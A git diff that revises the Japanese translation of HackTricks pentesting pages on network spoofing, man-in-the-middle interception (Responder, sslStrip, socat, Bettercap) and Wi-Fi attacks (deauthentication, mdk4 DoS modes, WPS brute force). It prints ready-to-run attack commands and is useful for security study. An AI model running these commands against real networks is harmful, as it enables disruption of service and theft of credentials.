+* **MD5ハッシュのキャプチャとクラック:** LokiやJohn the Ripperなどのツールが使用されます。 +* **ルートパラメータの構成:** _Injection_ タブを介して行われます。 +* **侵害されたキーの設定:** キーは _Connection_ タブの下で構成されます。 ### その他の一般的なツールとソース -* [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンして脆弱性を見つけるためのツール -* ネットワーク攻撃に関する詳細な情報は[こちら](https://github.com/Sab0tag3d/MITM-cheatsheet)で入手できます。 +* [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンして脆弱性を見つけるツール +* ネットワーク攻撃に関する**詳細情報**は[**こちら**](https://github.com/Sab0tag3d/MITM-cheatsheet)で見つけることができます。 ## **スプーフィング** @@ -604,7 +601,7 @@ yersinia dhcp -attack 2 #More parameters are needed ``` ### ARPスプーフィング -[前のセクション](./#arp-spoofing)を参照してください。 +[前のセクション](./#arp-spoofing)をチェックしてください。 ### ICMPリダイレクト @@ -647,26 +644,26 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ``` ### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -DNSのルックアップが失敗した場合、Microsoftシステムは**リンクローカルマルチキャストネームリゾルブ(LLMNR)**と**NetBIOSネームサービス(NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロ構成**の実装は、ネットワーク内のシステムを発見するために**マルチキャストDNS(mDNS)**を利用しています。これらのプロトコルは認証されていないため、UDPを介してメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 +DNS検索が失敗した場合、Microsoftシステムは**リンクローカルマルチキャスト名解決(LLMNR)**と**NetBIOS名前サービス(NBT-NS)**に依存します。同様に、**Apple Bonjour**および**Linuxゼロ構成**実装は、ネットワーク内のシステムを発見するために**マルチキャストDNS(mDNS)**を利用します。これらのプロトコルは認証されていないため、UDP上で動作し、メッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 Responderを使用して、ホストが検索するサービスを偽の応答を送信することで、サービスを偽装することができます。\ -[Responderを使用したサービスの偽装に関する詳細情報はこちら](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)を参照してください。 +[Responderを使用したサービスの偽装方法](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)に関する詳細情報はこちらを参照してください。 ### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -ブラウザは一般的に**Web Proxy Auto-Discovery(WPAD)プロトコルを使用してプロキシ設定を自動的に取得**します。これには、特定のURL(たとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、さまざまなメカニズムを介して行われます。 +ブラウザは一般的に**Web Proxy Auto-Discovery(WPAD)プロトコルを使用してプロキシ設定を自動的に取得**します。これには、特定のURL(たとえば "http://wpad.example.org/wpad.dat")を介してサーバーから構成詳細を取得することが含まれます。クライアントによるこのサーバーの発見は、次のメカニズムを介して行われる可能性があります: -- **DHCP**を介して、特別なコード252エントリを利用して発見を促進します。 -- **DNS**を介して、ローカルドメイン内の _wpad_ というホスト名を検索します。 -- **Microsoft LLMNRおよびNBT-NS**を介して、DNSルックアップが成功しない場合に使用されるフォールバックメカニズムです。 +* **DHCP**を介して、特別なコード252エントリを利用して発見を促進します。 +* **DNS**により、ローカルドメイン内の _wpad_ というホスト名を検索します。 +* **Microsoft LLMNRおよびNBT-NS**を介して、DNS検索が成功しない場合に使用されるフォールバックメカニズム。 -ツールResponderは、**悪意のあるWPADサーバー**としてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤誘導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、[こちらをチェックしてください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 +ツールResponderは、**悪意のあるWPADサーバー**としてこのプロトコルを利用します。それはDHCP、DNS、LLMNR、およびNBT-NSを使用してクライアントを誤誘導します。Responderを使用してサービスを偽装する方法について詳しく知りたい場合は、[こちらをチェック](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)してください。 ### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md) -ネットワーク内で異なるサービスを提供して、ユーザーをだますことができます。**この攻撃に関する詳細情報は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**にあります。** +ネットワーク内で異なるサービスを提供して、**ユーザーをだます**ことができます。**この攻撃に関する詳細情報は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**で確認してください。** -### IPv6ネイバースプーフィング +### IPv6隣接スプーフィング この攻撃はARPスプーフィングに非常に似ていますが、IPv6の世界で行われます。被害者に、GWのIPv6が攻撃者のMACアドレスであると思わせることができます。 ```bash @@ -675,7 +672,7 @@ sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neigh ``` ### IPv6ルーター広告のスプーフィング/フラッディング -一部のOSは、ネットワーク内で送信されたRAパケットからゲートウェイをデフォルトで構成します。攻撃者をIPv6ルーターとして宣言するために使用できる方法: +一部のOSは、ネットワーク内で送信されたRAパケットからデフォルトでゲートウェイを構成します。攻撃者をIPv6ルーターとして宣言するためには、次のコマンドを使用できます: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 @@ -696,7 +693,7 @@ mitm6 ### sslStrip -この攻撃が行うことは、**ユーザー**が**HTTP**ページに**アクセス**しようとする場合、そのページが**HTTPS**バージョンに**リダイレクト**される場合に、**sslStrip**は**クライアントと**の間で**HTTP接続を維持**し、**サーバーと**の間で**HTTPS接続を確立**するため、接続を**平文**で**嗅ぎ取る**ことができます。 +この攻撃が行うことは、**ユーザー**が**HTTP**ページに**アクセス**しようとする場合、そのページが**HTTPS**バージョンに**リダイレクト**される場合に、**sslStrip**が**クライアントと**の間で**HTTP接続を維持**し、**サーバーと**の間で**HTTPS接続を確立**することです。これにより、**sslStrip**は接続を**平文**で**嗅ぎ取る**ことができます。 ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -709,18 +706,18 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ### HSTSをバイパスするためのsslStrip+およびdns2proxy -**sslStrip**と**sslStrip+およびdns2proxy**の**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_に**リダイレクト**し、このドメインの**アドレスを攻撃者IPに設定**する点です。これにより、**クライアント**は_**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏では**sslstrip+**が**https**を介して**実際の接続**を**www.facebook.com**に維持します。 +**sslStrip+とdns2proxy**と**sslStrip**の**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_に**リダイレクト**し、このドメインのアドレスを攻撃者のIPに設定する点です。これにより、**クライアント**は_**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏では**sslstrip+**が**https**を介して**www.facebook.com**と**実際の接続**を**維持**します。 -この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、ブラウザが**HTTPでfacebook認証を実行**するように騙すことです。\ -この攻撃を実行するには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。 +この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、ブラウザが**HTTP**で**facebook認証**を実行するように騙すことです。\ +この攻撃を行うためには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があり、httpsではないことに注意してください。これは、httpページ内のリンクを変更することで行うことができます。 詳細は[こちら](https://www.bettercap.org/legacy/#hsts-bypass)、[こちら](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014)、および[こちら](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。 -**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが"重要な"ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用できるため、以前の** _**wwww.facebook.com**_ **の例はもはや機能しません。** _**facebook.com**_ **は`includeSubdomains`を使用してHSTSを使用しているためです。** +**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPSでアクセスします。また、事前保存されたルールや他の生成されたルールには、**`includeSubdomains`**フラグを使用できることに注意してください。そのため、以前の_**wwww.facebook.com**_の例は機能しなくなります。_**facebook.com**_は`includeSubdomains`を使用してHSTSを使用しているためです。 TODO: easy-creds、evilgrade、metasploit、factory -## ポートでのTCPリスン +## ポートでのTCPリッスン ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - @@ -746,9 +743,9 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` クライアントがCAが有効であるかどうかをチェックする場合、**CAによって署名された他のホスト名の証明書を提供**することがあります。\ -もう1つの興味深いテストは、**リクエストされたホスト名の証明書を自己署名**で提供することです。 +もう1つの興味深いテストは、リクエストされたホスト名の**セルフ署名証明書を提供**することです。 -他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するよう強制し、クライアントが実際の秘密鍵で何も復号化する必要がないアルゴリズムを使用し、クライアントが実際の秘密鍵のプローブ(ハッシュなど)をリクエストすると、偽のプローブを送信し、クライアントがこれをチェックしないことを期待することです。 +他にテストすることは、有効なCAでない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して証明書に署名し、ディフィー・ヘルマンなどのアルゴリズムを使用するように強制し、クライアントが実際の秘密鍵で何も復号化する必要がないものを要求するときに、クライアントがこれをチェックしないことを期待して、実際の秘密鍵のプローブ(ハッシュなど)のリクエスト時に偽のプローブを送信することです。 ## Bettercap ```bash @@ -786,7 +783,7 @@ ARPパケットはネットワーク内で使用されているIPアドレスを ### **mDNS(マルチキャストDNS)** -Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエスト(Xミリ秒ごと)を送信し、このパケットを受信したマシンは通常このリクエストに応答します。その後、「services」に応答するマシンのみを検索します。 +Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエスト(Xミリ秒ごと)を送信します。このパケットを見たマシンは通常このリクエストに応答します。その後、"services"に応答するマシンのみを検索します。 **ツール** @@ -796,7 +793,7 @@ Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエ ### **NBNS(NetBios Name Server)** -Bettercapは、名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するためにポート137/UDPにブロードキャストパケットを送信します。 +Bettercapは、名前"CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"を要求するためにポート137/UDPにブロードキャストパケットを送信します。 ### **SSDP(Simple Service Discovery Protocol)** @@ -814,20 +811,20 @@ Bettercapは、サービスを検索するためにWSDパケットをブロー * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) \ -**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**である**Intigriti**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**で**最大$100,000**のバウンティを稼ぎましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加してください! {% embed url="https://go.intigriti.com/hacktricks" %}
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 8ab2d7d6f..20fa4ed6e 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -2,32 +2,32 @@
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学ぶ こちら HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください**。** -* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
-
+
-[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! +**HackenProof Discord**サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルと挑戦に深く入り込むコンテンツに参加 +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく +リアルタイムのニュースと洞察を通じて、ハッキングの世界のペースに遅れずについていく **最新の発表**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手 +最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得る -**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!** +**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう! ## Wifi基本コマンド ```bash @@ -53,7 +53,7 @@ git clone https://github.com/s0lst1c3/eaphammer.git ``` ### Airgeddon -Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能ツールです。 +Airgeddonは、Wi-Fiネットワークのペンテストに使用されるオールインワンのスクリプトです。このツールは、さまざまな攻撃を実行し、WPA/WPA2パスワードをクラックするためのさまざまな方法を提供します。 ```bash mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server @@ -84,40 +84,39 @@ sudo python setup.py install # Install any dependencies このツールは**WPS/WEP/WPA-PSK**攻撃を自動化します。自動的に以下を行います: -- インターフェースをモニターモードに設定します -- 可能なネットワークをスキャンし、被害者を選択できます -- WEPの場合 - WEP攻撃を開始します +- インターフェースをモニターモードに設定する +- 可能なネットワークをスキャンし、被害者を選択できるようにする +- WEPの場合はWEP攻撃を実行する - WPA-PSKの場合 - WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃には時間がかかる可能性があるため注意が必要です)。ヌルPINやデータベース/生成されたPINは試しません。 -- APからPMKIDをキャプチャしてクラックを試みます -- APのクライアントを切断してハンドシェイクをキャプチャしようとします -- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みます。 +- APからPMKIDをキャプチャしてクラックしようとする +- APのクライアントを切断してハンドシェイクをキャプチャしようとする +- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みる ## 攻撃の概要 - **DoS** - - サービス拒否 - - Deauthentication/disassociation -- すべての人を切断します(または特定のESSID/クライアント) - - ランダムな偽のAP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性があります - - APの過負荷 -- APを破壊しようとします(通常はあまり役に立ちません) + - Deauthentication/disassociation -- すべての人を切断する(または特定のESSID/クライアント) + - ランダムな偽のAP -- ネットを隠し、スキャナーをクラッシュさせる可能性がある + - APを過負荷にする -- APを破壊しようとする(通常あまり役に立たない) - WIDS -- IDSと遊ぶ - TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃 - **クラッキング** - - **WEP**のクラック(複数のツールと方法) + - **WEP**をクラックする(複数のツールと方法) - **WPA-PSK** - - **WPS**ピン「ブルートフォース」 - - **WPA PMKID**のブルートフォース - - \[DoS +] **WPAハンドシェイク**のキャプチャ + クラック + - **WPS** PIN "Brute-Force" + - **WPA PMKID** ブルートフォース + - \[DoS +] **WPAハンドシェイク** キャプチャ + クラック - **WPA-MGT** - **ユーザー名のキャプチャ** - - **ブルートフォース**資格情報 + - **Bruteforce** 資格情報 - **Evil Twin**(DoSあり/なし) - - **オープン**Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます - - **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます - - **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立ちます + - **Open** Evil Twin \[+ DoS] -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ + - **WPA-PSK** Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立つ + - **WPA-MGT** -- 企業の資格情報をキャプチャするのに役立つ - **KARMA, MANA**, **Loud MANA**, **Known beacon** - - **+ オープン** -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます - - **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立ちます + - **+ Open** -- キャプティブポータルの資格情報をキャプチャしたりLAN攻撃を実行するのに役立つ + - **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ ## DOS @@ -125,7 +124,7 @@ sudo python setup.py install # Install any dependencies **ここからの説明**: [**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -**Deauthentication**攻撃は、Wi-Fiハッキングで一般的な方法で、"管理"フレームを偽造してデバイスをネットワークから**強制的に切断**することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークから来たものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。 +**Deauthentication**攻撃は、Wi-Fiハッキングで一般的な方法であり、"管理"フレームを偽造してデバイスをネットワークから**強制的に切断**することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークからのものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。 **Aireplay-ngを使用したDeauthentication** ``` @@ -134,14 +133,14 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 * \-0 は切断を意味します * 1 は送信する切断の数です(複数送信することもできます);0 は連続して送信します * \-a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです -* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能しない場合があります) +* \-c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能するわけではありません) * ath0 はインターフェース名 ### 切断パケット -**切断パケット**は、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは**不正なデバイスをネットワークから明示的に削除するために切断パケットを送信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動中であり、それによりすべての接続されたノードを切断する必要がある場合に送信されます**。 +**切断パケット**は、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは、**不正なデバイスをネットワークから明示的に削除するために**切断パケットを送信しますが、APがシャットダウン、再起動、または移動中である場合、すべての接続されたノードを切断する必要があるため、通常は切断パケットが送信されます。 -**この攻撃はmdk4(モード"d")によって実行できます:** +**この攻撃はmdk4(モード "d")によって実行できます:** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate @@ -176,11 +175,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` **攻撃モード p: SSIDプロービングとブルートフォース** -アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに**非表示のSSIDをブルートフォース**することで、隠されたネットワークを特定およびアクセスするのに役立ちます。 +アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかをチェックし、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに**非表示のSSIDをブルートフォース**することで、隠されたネットワークを特定およびアクセスするのに役立ちます。 **攻撃モード m: マイケル対策の悪用** -異なるQoSキューにランダムまたは重複パケットを送信すると、**TKIP AP**でマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的な**DoS**(サービス拒否)攻撃戦術です。 +ランダムまたは重複したパケットを異なるQoSキューに送信すると、**TKIP AP**でマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的な**DoS**(サービス拒否)攻撃戦術です。 ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS @@ -193,13 +192,13 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` -**攻撃モード s: IEEE 802.11s メッシュネットワーク向けの攻撃** +**ATTACK MODE s: IEEE 802.11sメッシュネットワーク向けの攻撃** メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。 -**攻撃モード w: WIDS 混乱** +**ATTACK MODE w: WIDS混乱** -クライアントを複数の WDS ノードや偽のローグ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用をもたらすことができる。 +クライアントを複数のWDSノードや偽のローグAPにクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用を引き起こすことができる。 ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] @@ -210,22 +209,22 @@ mkd4 -e -c [-z] ### **Airggedon** -_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供します: +_**Airgeddon**_ は、前のコメントで提案された攻撃のほとんどを提供しています: -![](<../../.gitbook/assets/image (126).png>) +![](<../../.gitbook/assets/image (95).png>) ## WPS -WPS(Wi-Fi Protected Setup)は、**WPA**または**WPA2** Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティは簡単に侵害されるため、WPSは効果がありません。WPSは、2つの半分で検証される8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です(11,000通りの可能性)。 +WPS(Wi-Fi Protected Setup)は、**WPA**または**WPA2** Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティでは簡単に侵害されるため、効果がありません。WPSは、2つの半分に分かれた8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です(11,000通りの可能性)。 ### WPSブルートフォース -このアクションを実行するための主要なツールは2つあります: ReaverとBully。 +このアクションを実行するための主なツールは2つあります: ReaverとBully。 * **Reaver** は、WPSに対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。 -* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの処理が正しく行われている、より堅牢なオプションが用意されています。 +* **Bully** は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの正しい処理、より堅牢なオプションのセット。 -この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁が露出しており、最後の桁がチェックサムとしての役割を果たしているため、総当たり攻撃が容易になっています。ただし、攻撃を継続するために、攻撃者のMACアドレスを**ブロック**するなどの総当たり攻撃に対する防御策は、**MACアドレスのローテーション**を要求します。 +この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁の露出と最後の桁のチェックサムとしての役割により、総当たり攻撃が容易になっています。ただし、攻撃者のMACアドレスを**ブロック**するなどの総当たり攻撃に対する防御策は、攻撃を継続するために**MACアドレスのローテーション**を要求します。 BullyやReaverなどのツールを使用してWPS PINを取得した後、攻撃者はWPA/WPA2 PSKを推測し、**持続的なネットワークアクセス**を確保できます。 ```bash @@ -236,26 +235,25 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします: -1. **事前に発見されたPIN**: 特定のメーカーが一貫して使用する既知のPINのデータベースを活用します。このデータベースは、MACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINに関連付けます。 -2. **PIN生成アルゴリズム**: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらは、APのMACアドレスに基づいてWPS PINを計算します。Arcadyanアルゴリズムには、デバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。 +1. **事前に発見されたPIN**: 特定のメーカーが一貫して使用するWPS PINに関連付けられた既知のPINのデータベースを利用します。このデータベースはMACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINと関連付けます。 +2. **PIN生成アルゴリズム**: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらはAPのMACアドレスに基づいてWPS PINを計算します。ArcadyanアルゴリズムにはデバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。 ### WPS Pixie Dust攻撃 -**Dominique Bongard** は、一部のアクセスポイント(AP)における秘密コードの作成に関する欠陥を発見しました。これらは**ノンス**(**E-S1**および**E-S2**)として知られています。これらのノンスを特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを特別なコード(ハッシュ)で公開し、それが正規で偽(ローグ)APでないことを証明します。これらのノンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細は[こちら](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))で確認できます。 +**Dominique Bongard** は、一部のアクセスポイント(AP)における秘密コードの作成に関する欠陥、**ノンス**(**E-S1**および**E-S2**)を発見しました。これらのノンスが特定できれば、APのWPS 